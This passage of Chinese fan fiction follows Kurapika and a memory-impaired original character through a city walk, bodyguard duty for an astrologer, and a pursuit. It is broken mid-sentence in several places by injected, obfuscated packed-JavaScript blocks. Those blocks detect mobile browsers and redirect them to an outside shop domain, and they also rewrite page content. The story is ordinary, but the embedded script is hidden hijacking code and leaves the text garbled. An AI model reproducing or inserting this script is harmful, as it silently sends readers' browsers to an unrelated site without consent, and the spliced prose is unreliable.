“没事的,不用担心。”酷拉皮卡忽然说。 他显然是看出了维瑟拉特的想法——当然的,看出的只是她的一丁点忧虑,而不是她在困惑自己的思绪变多了的这件事。 “皇冠酒店的安保很令人放心,而且我在酒店入口处以及前往套房的这段路程中都设置好了护卫人员。不会有事的。” “好。” 沉默地往前走了几步,酷拉皮卡实在按捺不住,追问珀斯帕西丝有没有对她做什么奇怪的事情。 “我们的雇主为人不是很有距离感,总是和大家贴贴抱抱的,可能她的性格就是这样的吧。”他一本正经,“如果她做出了让你觉得不喜欢的举动,可以告诉我。我会和她沟通的。” “哦……”维瑟拉特不太听得明白,想了想,说,“我没有觉得不喜欢。” “是吗?好吧……” 怎么感觉酷拉皮卡有些沮丧?可能是错觉吧。维瑟拉特倒也不打算追问他的反应,正巧酷拉皮卡自己也赶紧扯开了话题。 “你需要去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“你问我吗?嗯……我想想。” 酷拉皮卡确实是在思索,却不全是在思考她的问题。他想的是,维瑟拉特今天问题好多,竟然主动提问了两次。 这么想可不是在嫌她问题多很麻烦,相反,他还挺高兴的。果然她还是那个她,好奇心与小时候如出一辙。 想着想着,不自觉地就勾起了嘴角。看他不经意的轻笑,维瑟拉特心想,看来那段时间对他来说挺开心的。而他居然觉得这挺好的。怎么会冒出这种想法呢?维瑟拉特自己也搞不明白。或许是觉得,在彼此重叠的年岁之中,倘若双方都处在痛苦之中,会是很糟糕的一件事情吧。 “你接下来忙吗?”维瑟拉特忽然说。她很难得地在别人给出答复之前就插嘴进来了。 一如既往,酷拉皮卡不会觉得这有什么。“不那么忙。”他选择了一种比较折中的说法。 余光瞥见到的是阿科力的街市,在酒店的顶楼听不见下方喧闹的声音。维瑟拉特垂下眼眸,看着窗外闪烁的信号灯。是绿色的。 “去散步吧。” 她说。 “我们去散步。” 32.去散步x回忆x我会帮你 并肩走在街上,远远地就已经听到了风笛的声音,但走近一些之后,才发现是穿着格子裙的艺术家正在街边在演奏曲目,好多路人围在那里欣赏,倒也挺热闹。维瑟拉特想,真应该叫上旋律一起来散步的。喜欢音乐的她,听到这般轻快的乐曲,肯定会很高兴。 “在阿科力,风琴还是挺少见的。” 忽然听到酷拉皮卡说。 可能是他出声的时机太突然了,出乎意料地钻进了维瑟拉特的耳朵里,害她不自觉地抖了一下。颤抖的幅度很小,也不明显,可惜还是被酷拉皮卡看到了。 “被我吓到了吗?”他觉得很不好意思,露出尴尬地苦笑,“抱歉。” 维瑟拉特也尴尬,不自觉用指尖搓着发梢,摇了摇头。“没有被吓到。你不用道歉。” 她难得地说谎了——其实她有被吓到。 确实,邀请酷拉皮卡一起来散步的建议是由她主动提出的,酷拉皮卡也答应了,但是到了真正踏上阿科力街头的时候,她一贯喜欢独自散步的秉性就冒出来了,彻底沉浸在自己的小世界里,东张西望地往前走,目光瞥见到的尽是周围陌生的风景,全程完全没有注意到一旁还有个金色脑袋一直跟在身边——直到他发出声音把她吓了一跳为止。 这种感觉还挺糟的。 必须承认,对于“忘记了还有同伴的存在”的这件事,维瑟拉特没有冒出多少罪恶感,只是不可避免地感到心里怪怪的,觉得自己的态度对于老板来说太不礼貌。她默默地放缓了脚步,让酷拉皮卡的金色脑袋始终停留在余光的一角。时刻能够看到他,肯定就不会忘记他和自己正在散步的事实了吧。 酷拉皮卡可能也感觉到了她的复杂心情。纯粹是为了缓解眼下这个很尴尬的气氛,他干脆在风笛的乐声中说起了风笛的事情,“以前在医院里看到了一个由于吹风笛而肺部感染的人。” “哦?”酷拉皮卡还会去医院呢?她想。顺便问了句,“为什么?” 她问的可能是酷拉皮卡为什么要去医院的“为什么”,但酷拉皮卡肯定没意识到这一层,以为她询问的是为什么风笛手会肺部感染。 “风笛的下方不是有个气囊嘛。可能是因为没有及时清理气囊,导致里面长出了霉菌,一吹奏就吸进肺里了。” “哦。”原来是这样。 “说到风笛,我突然想起来,你以前也很常摆弄乐器呢。” “……我?” “嗯。” 维瑟拉特不自觉地蹙起了眉头。 她,和乐器吗?她都不知道世上存在着哪几种乐器,贫瘠的想象力也完全没有办法把她和风笛或是钢琴之类的她唯一能够想到的乐器描绘在一起。但能想象出她和钢琴线在一起的样子,这是很趁手的武器。 看出了她的不解,酷拉皮卡接着说:“你以前很常演奏的是曼陀林。有什么节日的时候,你会和大人们一起在火堆旁边弹庆祝的乐曲。我有一回说,你看起来真的很不像是会弹奏乐器的人,因此还被你打了一下。‘我怎么就不像是会弹奏乐器的人了!’你当时好生气。但你真的不像啊——你怎么看都是探险家的样子嘛。可我就算这么解释了,你还是挺不高兴的。” 那时候气呼呼的她涨红着脸还撅起了嘴,嘴角却稍稍有一点要翘起来的迹象,很可能是因为他说她像探险家的这句话听着很像是夸奖。 想起那天的事,还是会忍不住想笑。酷拉皮卡有意无意地没有在这时候去看维瑟拉特的面孔,或许是因为知道她会摆出怎样的表情,而那一定是陌生的茫然。正如他预料到了她会问:“曼陀林是什么?” 她对乐器的知识真的很少。毕竟乐器不是必需品。 似乎瞥见到酷拉皮卡的脸颊生硬拉扯了一下,目光到了此刻才落在她的身上,“是一种琴。大概,这么高、这么厚。” 他动手比划起来。 “背板是拱形的,像杏仁一样,有四根弦。” “哦。” 想象不出来,更不觉得自己的能够摆弄得了四根弦的乐器。 话题在这里空空地顿了一下,脚步却还在继续向前,风笛的通透声响被甩在了身后,似乎又要变回这趟路程最初的沉默感了。其实酷拉皮卡并不喜欢这样,如果可以,他还是会尽量说点什么的。 譬如路过图书馆,他说起以前常在这里借书,他在故乡的深山之后,大多数的知识都是在这里习得的。 譬如途径那个画着时钟的广场,他说以前这里有好多好多鸽子,他过去会省下一些面包喂给它们,结果两年过去,他还是瘦条条一个,鸽子们却壮的不行。今天不知道鸽子们去了什么地方,真可惜只能看到它们落在草上的羽毛。 还有,看到了一家挂着霓虹灯牌的小餐馆,他说起自己在阿科力的期间都是在这家店里打工的。 “晚上还要帮老板的孩子辅导学习,挺忙碌的。不过这家店是很难得的愿意招收小孩来打工的地方。” “哦。”她忽然想到了什么,忍不住说,“便利屋也可以。” 明明也没有说什么玩笑话,酷拉皮卡却笑出了声,“是呢,便利屋也一样。” 在餐厅打工也不算是什么很美好的体验,能招童工的老板能是什么好人。不管怎样,最后还是攒到了足够的钱,也学到了足够多的知识,他就此离开了阿科力,游荡到了别处。 “刚到阿科力的时候,妈妈给我做的衣服又大又宽松,等到离开的时候,袖子都短了一截。我明明没有感觉到时间的流逝,但确实已经度过了好长的一段时间,我这么想着,走出了阿科力的边境。”他说着,以一种很平淡的口吻,“那时候,我也在想,要不要买一身更合尺寸的衣服,毕竟也有积蓄了嘛,但当时还是没舍得买。还是想要穿着最熟悉的衣服。” 维瑟拉特没有应声。她意识到自己显然误解了,误以为酷拉皮卡度过在阿科力度过的是快乐的时间。原来并非如此,也难怪他说完之后,很轻地呼出了一口气。 既然误解了,就该道歉吧。维瑟拉特张了张嘴,没能说出“对不起”。这话太突然了。 “谢谢你。”她只这么说了,“我对你的认知变多了。” 酷拉皮卡有点意外,“是吗?” “嗯。我的过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17036581|191976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去对你来说是空白,你对我而言也是一样。现在,这点空白能够稍稍补足一点了。” “……是呢。” 对等的空白。是了,他说起的永远只是曾经他们共有的时间,而非他们分开后的过往,她当然一直不知道自己经历过的事情。 如此显而易见的事实,酷拉皮卡却直到现在才意识到。他关注的似乎一直都是他对于维瑟拉特的那段空白,而非是他能够看到的自己。 真是……太片面了。 这个瞬间,他有些不知道该如何开口,还好维瑟拉特主动说了点什么。 “十三岁的时候,我的眼睛被卡尔玛拉家的小少爷挖出来了。” 很突然地说了这么一句,让酷拉皮卡下意识地看向了她的眼睛。 完好无损的两只眼睛。但并不能因此而感到松一口气。 “为什么做出了这种事?” “因为我看了他家的画。他说我的眼睛很贪婪。我觉得我在十三岁到十五岁期间,能够记得的就这件事而已。和你同一时期经历的这么多事情相比,显得有些干巴。很抱歉,我只记得这件事,也只能和你交换这件事的记忆。” 酷拉皮卡感到语塞,但他想也不想地立刻摇头,只是迟迟地说:“会很疼吗?” “你说眼睛吗?” “对。” “有点。那时候我还能感到一点疼痛。” 不愿去想象那种场景。酷拉皮卡不自觉攥紧了拳头,铁链在震动。 “你之前没有和我说过这件事……” 维瑟拉特歪过脑袋,“因为那时候我觉得没有必要说。” “可为什么现在告诉我呢?” “我希望能让你的痛苦显得不那么痛苦。” 都说人的幸福是比较出来的,只要主动打破痛楚的下陷,就能让他在痛苦的对比之中得到“我并不那么痛苦”的错觉了吧。 换言之,维瑟拉特的行径正是所谓的安慰,只是她不太懂得安慰的真正含义,并且采用了一种相对激进的方式而已,也难怪酷拉皮卡怎么看都不像是得到了宽慰的样子,反而悲伤到将要流泪的模样。 能看出来,他依然痛苦。过去、现在,他一直痛苦,未来也可能也是如此,因为他有必须完成的事情……是什么事来着?维瑟拉特花了点时间回忆,她担心自己会想不起来。还好,她想起来了,甚至会忍不住继续想下去。 真的,她现在的思维真的有点太发达了。幸亏这不是什么坏事。 她在想,在酷拉皮卡收回所有火红眼之后,印刻着他的痛苦的记忆就会消失了吗——像她一样,忘却之后就不再感到痛楚?给不出答案。维瑟拉特觉得,她依然不那么了解酷拉皮卡,哪怕他们血脉相连。 但是。 “我会帮你的。” “嗯?” 酷拉皮卡不知道她突然在说什么,但维瑟拉特也没有给出解释。她只是笑了一下——非常标准的、嘴角上扬的笑容。而后伸出手,攥住了缠绕在他手背上的锁链。 “回去吧。” 她已经看到足够的风景了。 33.消遣x地点转移x热气球 “我说,你们两个人跑去什么好地方玩去了吗?” 刚回到皇冠酒店的总统套房,就听到珀斯帕西丝这么说。 这不算是抱怨,她的语调更像是指责孩子乱跑的大家长,但也没什么好奇怪的,她的年龄正正好是酷拉皮卡和维瑟拉特相加——也就是双倍的十七,她会骄傲地说自己刚刚过完三十四岁生日。为此摆出长辈的姿态,也是很正常的事情。 “您有什么吩咐吗?”酷拉皮卡没有回答,只这么询问。 珀斯帕西丝靠在软榻上,手臂耷拉在一旁,很无趣地一晃一晃,想了想才说:“也没特别的吩咐。我们什么时候动身去崎土?我记得宣讲会是在下个月五号。” “计划在下周日出发,搭乘飞行艇前往目的地。” “然后一直待在崎土直到月食到来吗?”她翻了个身,用手去摸地毯,“我知道你前天已经和我说过日程安排了,但我还是想要听你再说一次。不是因为我忘记了。” 欲盖弥彰,她就是忘记了没错。 对于雇主的反复询问,酷拉皮卡不会觉得不耐烦。他已经快要习惯怎么和记忆力不佳的人往来了,很配合地点点头,“是的。地点转移的风险更大,阿科力确实很安全没有错,但如果没有特别情况,我不建议您特地回到这里。还是在崎土建立短期的防御手段更好。” “行,我没有意见,但能不能劳烦你多帮我找点消遣的乐子?你知道的,一直待在酒店很无聊的嘛。” “您想要什么消遣?” “男人啦,美酒啦,诸如这类的。” 酷拉皮卡扬起很标准的一个笑容——不是因为想笑所以笑了,纯粹只是很无奈的苦恼心情在作祟。 “男人的话不行,可能会混入奇怪的人士,太危险了。我也不是很建议您喝酒,以免在必要的时候无法保持清醒的状态。” “我只是在开玩笑而已。小酷拉你总是这么认真,真没意思。” 这么说的珀斯帕西丝可一点都没有开玩笑的意思,她眼底的沮丧实在是太真切了,怎么看都是心愿无法实现的失落。 不过,和男人还有美酒相比,果然还是自己的性命更加珍贵一点。她果断地让步,说只需要给她多准备一点电影碟片就好了。 “碟片应该不会那么危险了吧?要是连电影都没得看,我会闷死的。”说着这话的她倒是难得的。 如果只是影碟的话,酷拉皮卡没有意见,表示马上就去办,说罢就离开了套房。 维瑟拉特看着酷拉皮卡的身影消失在门外,第一次感觉他的工作还挺难办的——因为她真的会对雇主的要求全盘接受,马不停蹄地立刻去找男人和美酒。 嘛,其实自己的工作也没那么好办就是了。 维瑟拉特还留在珀斯帕西丝的身旁。以防万一,夜晚时间需要有人确保套房内的安全。守夜的苦差事是轮班制,今晚就交给她了。 她靠在客厅的墙上,从这个角度能够将整个套房收入眼底,是最好的位置。珀斯帕西丝好几次招招手请她一起来看电影,当然全都被她拒绝了。 “好吧,那你能帮忙把我的紫水晶放到窗台吗?天亮之前一定拿回来哦,收进柜子里,不要让它碰到太阳。”珀斯帕西丝特别爱惜地抚摸着紫水晶簇,“知道吗,这孩子见不得日光,必须得一直沐浴着月亮的光辉才能积攒到足够窥探未来的力量。” “知道了。” 不知道该不该告诉珀斯帕西丝,这坨矿石结晶在被匪徒劫走之后就一直保持着风吹日晒的状态,还淋上了好多的海水,力量可能已经全部析成盐分了。 ……算了,还是不说了。 维瑟拉特在套房里站了一整晚,情况伤好。接下来的一整周都是如此。果然阿科力是治安很好的国家,乱七八糟的杀手可进不来。 但到了另一个国家,很可能就不会这么安心了。 珀斯帕西丝把自己全副武装,戴上足以盖住大半张脸的夸张墨镜和头巾,把自己裹得严严实实,反倒有点过分引人注目了。 “我当然知道自己藏不住。”她在手提包里寻找着抗过敏药,“就我的高个子,走在街上简直就像是在明晃晃的说‘珀斯帕西丝在这里’。但要我装作是弓着背的老太太?那我可不乐意。就算是在现在这种命悬一线的状态,我还是想要挺着胸膛昂首阔步地向前走。” 这么说的她像是为了贯彻自己的宣言,这就已经抬起脑袋了,顺势将抗过敏药丢进嘴里,药片很顺畅地伴随着被抻直的喉咙滑了下去。 酷拉皮卡不知道她为什么在吃药,“您对什么东西过敏吗?” “我对鹿的毛过敏。崎土不是有很多鹿吗?我总得预防着一点。”说着说着,看到酷拉皮卡一下子严肃起来的表情,珀斯帕西丝赶紧补上一句,“放心,放心,我虽然过敏没错,但没那么严重,不会呼吸不畅也不会因此死掉,只是会浑身上下起荨麻疹而已。起疹子不会死人,所以才没有特地告诉你们。” “明白。” 话虽如此,还是得把鹿纳入警备范围之内了。 等到抗过敏药起效时,飞行艇也顺利地落在了崎土首都的空港。果然是小鹿横行的国家,就连停机坪上都有一只毛茸茸的公鹿镇守,就坐在飞行艇落地的必行路线上,漂亮的犄角指着天空,怎么也不走,害得飞行艇不得不复飞一次之后才顺利地触碰到这片国家的土地。 明明把那头鹿赶走就好了,为什么非要重新降落?维瑟拉特不懂这种舍近求远的行动是出于什么用意。 “这个国家的信仰是鹿。”肯定是听出了她的困惑,旋律主动解答,“他们认为鹿是神明的化身,绝不可干涉神明的行为,就算是鹿躺在了停机坪上,也决不能轻易驱赶。” “哦_” 她明白了. 至于能不能理解这种行为,就是另一回事了。 持枪的诺斯拉护卫率先离开飞行艇,对空港内的路线和情况进行了勘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17042386|191976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 察,确认没有任何异状之后,珀斯帕西丝才被其余的护卫们包围着走下飞行艇。空气中大概已经有鹿毛在飘了,就算戴上了两层口罩,她还是忍不住一直抓手背,好在皮肤上暂时没有出现浮起的疹子。 维瑟拉特走在珀斯帕西丝的身后,酷拉皮卡则走在更后方,承担起了断后的工作。能听到他深深地吸了一口气。 “还以为这里的空气会不一样。”他嘀咕着说着这么一句,而后加快脚步,来到了维瑟拉特身边,小声问她,“来到了崎土,会让你冒出什么熟悉的感觉吗?” 维瑟拉特觉得他的问题好奇怪,也不明白他是什么意思。“没有。”她只能坦白地这么说了。 “哦……” 感觉酷拉皮卡有点失落。真不喜欢看他这副模样。 “我应该要记得和崎土有关的什么事情,是吗?”她问。 “倒也不是这个意思,要是不记得可能也挺正常的,毕竟你只是年幼的时候住在这里罢了。” 维瑟拉特听着有点茫然,“你说我是窟卢塔人。” 她还记得基维百科上的描述,窟卢塔人住在深山之中。 “嗯,你是窟卢塔人没错,但你的父亲是来自崎土的民俗学家。以前你和我说,小时候因为你身体不太好,父亲带你去他的故乡求医,在外住了好几年之后才回到了大家的身边。” “哦……” 好像是有听酷拉皮卡说起说这么一回事来着,她居然完全忘记了。虽然很想装出一副恍然大悟仿佛记忆复苏的样子,可惜维瑟拉特并不知道恍然大悟的人会有怎样的表情,干脆不摆出任何表情,只点了点头而已,嘀咕了一声“我明白了”。 “抱歉,踏上这片土地,我没有什么感觉。” “没事。”酷拉皮卡的脸上已经看不到失落了,他很坦然地说,“这不是需要道歉的事情,你也不用向我道歉。” “好。” 不用向酷拉皮卡道歉。这件事值得好好记住。 安全地离开了空港,一路直达酒店都很顺利,没有遇到任何奇怪的事情或是人物。以防万一,这回可没办法给珀斯帕西丝安排豪华套房了——过大的空间会让安保工作进行得不顺畅。珀斯帕西丝对此完全理解,和自己的性命相比,做点委屈的小让步没什么要紧的。 夜里当然还需要有人守夜,今晚继续由维瑟拉特负责,尽管无趣,但只要能够顺利地迎来破晓,那无趣的时间也算是值当地换回了什么。 这里的日出比阿科力来得更早,她需要提前地收回摆在窗台边的紫水晶簇才行。维瑟拉特拉开抽屉,把紫水晶放进去,起身时,天已经彻底亮起来了。她走到窗边,拉开帘子,不远处的海港漂浮着硕大气球,五彩斑斓地飘向天空。 如此庞大的东西是什么? 她应该知道答案的,可是说出不出来。所以会有人告诉她: “狐狸,知道吗,这叫热气球,是爸爸的故乡最出名的东西哟。” 34.话语x厌恶感x排除异己 是男人的声音,男人的声音从耳边响起来了。这个声音正在告诉维瑟拉特,漂浮在天空之上硕大的彩色气球,是名为热气球的东西。 这声音太近了,话语也好真切,仿佛贴得她的出现一般。维瑟拉特下意识地回头,以为是谁看破了她的无知故而给出了解答,可身后却是空空的一片。 没有人站在她的身旁,这个房间里清醒着的也只有她一个人而已。 也就是说,根本没有人在和她说话。 是产生了幻觉吗?不应该这样才对。 维瑟拉特想不明白。她只觉得心跳好快,究竟是什么促成了这样急速的心跳?肯定是有某种情绪在泛滥吧。既然如此,此刻她究竟怀有怎样的情绪呢?如果现在旋律能在的话,她一定能够说出自己的心情,可惜她不在这里。只有自己一个人的话,根本感觉不到自我的情感——她的身体、她的大脑、她的内心,全都是麻木的。 ……可恶。 她讨厌这种感觉。 就像负气似的,她猛的一下拉起窗帘,把漂浮的热气球与初升的日光全部锁在帘子外。看不见就不会感受了,况且就算看到了她也感觉不到什么。 天彻底亮起时就能换岗了。维瑟拉特小心地避开着今日可能和旋律遇到的场合,但她也不知道自己干嘛要这么做,明明她今日明确讨厌的只有茫然的无知感,而不是旋律。难道是不想要被她听出自己的心情吗,还是因为她一定会说出自己的情绪,自己在抗拒着知晓吗?很可能是这样。 既然如此,就更不能见到她了。 她向其他同僚悄悄打探了旋律今日的工作安排,视线一直留意着时钟,过了九点才匆匆下楼。她料想这个时间旋律肯定已经在工作了,她可以趁着这个机会去吃早饭。 早饭供应的时间就快结束了,好在还有新鲜的热菜源源不断被送出厨房。摆在面前的一整盘炒鸡蛋冒着热气,维瑟拉特无视滚烫的温度,直接舀起一勺塞进嘴里,另一只手摆弄着桌上的餐巾,一会儿把它摊开来,一会儿捏成一团,最后干脆把四个角打成结缩进中心,将平面的帕子变成了一团鼓起来足够立在桌子上的东西。 “这是什么?”路过的酷拉皮卡本来是想过来和她打一声招呼的,忍不住被这个奇形怪状的东西吸引了注意力,“鸡蛋吗?” 鸡蛋?她可不是怀着塑造一只鸡蛋的心情摆弄餐巾的,虽然这团东西从形状到香槟金的颜色确实都很像是鸡蛋就是了,这一点实在是没办法否认。 “是热气球。”她说,“我差不多是做了个热气球出来,吧?” 她自己都不那么确信,也难怪酷拉皮卡俯身凑近,细细打量了一会儿。 “嗯……这么说的话,确实挺像是热气球呢。”他很好心的一点都不打击维瑟拉特糟糕的艺术造诣,还说,“和小时候你用叶子做的热气球示意物差不多。” 小时候?“我还做过这种东西吗?” “做过哦。热气球这种东西也是你最先告诉我的。你今天是不是也看到海湾升起的那些热气球了?” “是的。” “我还是第一次看到这么多的热气球同时升起来。果然和你说的一样,是很壮丽的景色。” “……嗯。” 到此为止的很多事情都是酷拉皮卡告诉她的,实际上也存在着她告诉酷拉皮卡的事情吗?总觉得这样的角色转换很奇怪。但维瑟拉特没有把这话说出口。她甚至没有让这段对话继续进行下去,早饭也没有全部吃完,说着告辞的话语,早早地就回房间补觉了。 还是没有做梦,一定是因为她今天是在白天睡觉的。白天怎么能做梦呢?那可就要变成白日梦了。 傍晚是有同僚来敲门。珀斯帕西丝必须出席的占星术宣讲会将在三小时后开始,现在就该出发去会场了。作为护卫之一的她当然也要一同前往。 不得不说,睡了一觉,她的心情确实平复了不少,就算和旋律坐在同一辆车上,也不会被听出什么奇怪的心情。她差不多也快忘记热气球的事情了。 珀斯帕西丝一直在抖腿,又吃了两粒抗过敏药。 “能有诺斯拉的精英和我坐在一辆车里,还挺让人安心的。”她笑了两声说。 确实,这辆车上既有酷拉皮卡和旋律两位职业猎人,还有维瑟拉特这种百分百武斗派,的确是相当让人安心的阵容了,可珀斯帕西丝的小动作还是透着一点难以掩饰的紧张。第一次看到她这样不安。 “珀斯帕西丝女士,您不必担心。”旋律安抚着她,“无论是A先生雇来的杀手,还是游走在街头的鹿,一定不会靠近您的。” “我知道,我其实也没有在紧张。”珀斯帕西丝苦笑了一下,笑容看着像是在哭,她果然憋不住了,“行吧,我还是挺害怕的。在那种又大又空旷的场合演讲,怎么想都太危险了,就算你们让我穿上了防弹衣也没办法吧,要是突然从观众席里跳出什么人对着我的脑袋就是一枪,那我不就变成了那个在巡游的时候被刺杀的总统了嘛。说不定还会和他一样,连头盖骨都被打飞呢!……不管怎么说,我不想这么可怜地死掉。” 越说越烦躁,她不停地抓着手背,都快把皮肤抓破了。 珀斯帕西丝的忧虑还挺真切,但维瑟拉特觉得她完全是在白担心——能把头盖骨轰飞的起码得是大型枪支了,而一般杀手想要混进场内,肯定只会携带小型手枪。也就是说珀斯帕西丝最多只会在脑门上留下一个弹孔,头盖骨是百分百能够保住的。 还好这话没有真切地说出口,因为这实在算不上是什么安慰。真正的安抚应该是酷拉皮卡的话语:“已经提前通知了会场,会在入场时进行严格的检验,一定不会有枪支入场。我们也提前排查过会场内的每个角落了,不瞒您说,场内确实安放了武器,但已经转移至了别处,现在场内一定是安全的。” “行。行。” 其实还是没办法百分百地安心,不过珀斯帕西丝的心情总算是能够平静到不让她再继续抓手了。会场也越来越近,能看到有些对占星学过分感兴趣的听众这时候就已经早早地在入场处等着了,很狂热的样子,今日的大风都吹不走他们热诚的表情。维瑟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17047737|191976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拉特多看了人群一眼。 “那里有个男人不对劲。风没把他的衣服吹起来。”她眯了眯眼,“是衣服里藏了东西吧?枪支之类的。” 往风衣里藏武器可不是维瑟拉特的专利,这么好用的技巧,每个以杀戮为生的家伙都该学会。 听了她的话,酷拉皮卡也朝那个方向投去了视线,“嗯,是有点不对劲。等车停到拐角处时请停一下吧。” “不需要停车。”她觉得停车反而像是陷阱,“加速吧,你们先进会场。那个人我会处理掉。” 酷拉皮卡有些困惑,“那更需要停车了,不是吗?” “不,不用停车。我有下车的办法。待会儿麻烦你们帮我关下车窗。” 说着这话的她已经摇下了车窗,风一下子钻进车里,把她的发丝完全吹了起来。维瑟拉特猫起身子,轻巧地从窗户的缝隙间钻出,一下子跳到地上,惯性害她稍稍往旁边踉跄了两步,还好她很快就找回了平衡,头也不回地走掉了。 真是,太干脆了。 酷拉皮卡既觉得她的行动有点武断(因为还冒出了一点担忧),另一方面又觉得她一举一动全都干净利落到相当漂亮,于是担忧也就消失无踪了,反倒有些微微欣喜。真是奇妙的心情。好不容易合拢车窗,还看到旋律笑眯眯地在看他,问她为什么,她却笑而不语,真不知道这份神秘感意味着什么。 总之顺利地抵达了会场内部,来到室内总会让人觉得比行驶在空旷的街头好得多。化妆师在给珀斯帕西丝做着上台前的准备,脂粉一上脸,珀斯帕西丝的紧张心情也平复了好多。看来演讲也会很顺利吧,毕竟对于占星术师来说,今日是很重要的场合。 “还有十分钟登场,是吗?” 维瑟拉特靠到酷拉皮卡身旁,小声问他。 她身上有一股很淡很淡的血腥气,小拇指上留着一抹干涸的赤色。 酷拉皮卡摸出手帕,轻轻盖在她染着血的手上,点了点头,“对。你那边的工作处理得还顺利吗,有没有受伤?” “顺利,没有受伤,就算受伤也没事。”她不知道酷拉皮卡递来手帕是用来擦掉血迹的,顺手就把帕子收进口袋里了,“我看过每个入场的人了。除了那个男的和另外两个人之外,没有其他意图不轨的家伙。那三个人我也解决掉了。蛮巧,是便利屋的同僚。” 当然不是她认出了他们,而是他们认出了她,被吓得无路可逃,只能说了些“我们是同一战线”之类的话。可惜这话没用。 这话让酷拉皮卡有点意外,担忧又要浮起来了,“便利屋会因此给你找麻烦吗?” “不会。发生这种事是因为立场不同,他们心里有数的。” 站在眼前、说着事不关己般话语的是维瑟拉特,身上浮着血腥气的也是她,如同任何时刻的模样。可是好奇怪,酷拉皮卡觉得她并不那么像是维瑟拉特了。 这话他当然不会说出口。 最后的十分钟走到头。 “行吧……该上场了。” 占星术师珀斯帕西丝登上舞台。 35.堂堂登场x泥头车x多虑 在宣讲正式开始之后,维瑟拉特从后台转移到观众席的角落里——这番变动意义明确,当然是为了确认观众席上是否存在任何异动。 此处的会场不算太大,零零总总容纳了小一千人,从她所在的这个谁也看不见的阴影角落望过去,观众们黑漆漆的脑袋紧紧簇在一起,密密麻麻的,完全没有“他们也是人类”的实感。 看着这些脑袋,维瑟拉特想起了中午吃的芝麻面包,上头撒着的芝麻也像这样聚在一起。二观众们或虔诚或充满敬仰的表情则被压缩得更小,落在她的眼中,特别像是芝麻上那一点小小的胚芽,难以看清,让人不想在意。 目光扫过观众席上的每一张面孔,暂时还没有见到任何奇怪的家伙。偶尔听听珀斯帕西丝的演讲,半点也听不懂。什么天秤座啦参宿四啦马腹一之类的,维瑟拉特全都听不懂。她也不明白为什么每次珀斯帕西丝抬起手臂做出触碰天空的动作时,观众席上的每个人也会重复同样的动作。 简直像是某种宗教。 还好还好,在这场宣讲中,至多只是有些她无法理解的话语和动作而已,除此之外还算顺利,珀斯帕西丝一直担心的会沦落为被刺杀总统的下场也没有真正实现,她的头盖骨好端端地和她的脑袋连接着,脑门上也没有多出弹孔。皆大欢喜。珀斯帕西丝自己也一下子完全不紧张了。 “果然找来你们诺斯拉家是正确的选择嘛!”她先来上了一句夸赞,接着才说说自己狂妄的猜想,“要我说,A先生肯定也是没多少钱了,所以也请不起像样的或是厉害的人来追杀我了。说不定都不用等到月食之夜,我就彻底安全了,看来你们也能早点回家了。当然了,约定好的报酬我肯定是一分都不会少给你们的——我可不是那种小气的家伙。” 她说得简直像是从这一秒钟开始她的性命就已经得到了保证。 酷拉皮卡没有回应她的这句话——无论是自信地觉得月食到来之前就已经可以确保安全,还是她所说的报酬的事情,他都没有回应,只伸出了手,扶住车顶,以免珀斯帕西丝在上车时撞到脑袋。 “在委托结束之前,我们会尽力保证您的安全。”他只这么说了。 珀斯帕西丝哈哈大笑,伸手要去揽他的肩膀,说着已经说过好几次的话语,“小酷拉你就是太正经了嘛。” 其实很想反驳说自己这样的品格并非是正经,但这么说的话,珀斯帕西丝大概会送上抱怨,酷拉皮卡最终还是决定少说几句为好。 轿车驶出停车场,将柏油路面碾压在轮胎下。开往酒店的路程不算太长,晚间却很容易遇上堵车,还好提前规划好了路线,绕点远路反而能比最短路线更早地回到酒店。 但似乎绕路扰得有点厉害。 维瑟拉特看向窗外,立在环岛正中心的是断臂天使的雕像。三分钟之前她们才刚刚路过这里,哪怕是有着她这般糟糕的记忆都能察觉到他们正行驶在重复的道路上。可谁也没有道破这一点,翻着运势书籍的珀斯帕西丝也没有注意到这种事。 是在十分钟之后,珀斯帕西丝才终于迟迟地感觉到了不对劲。 “还没到酒店吗?”她张望着窗外陌生的景色,“连酒店的影子都看不到嘛。这里又没有堵车。” 酷拉皮卡冷静地回应:“马上就到了。” “是吗?明明开得这么快,却……”珀斯帕西丝彻底察觉到异样了,“我们被跟踪了,是吗?” 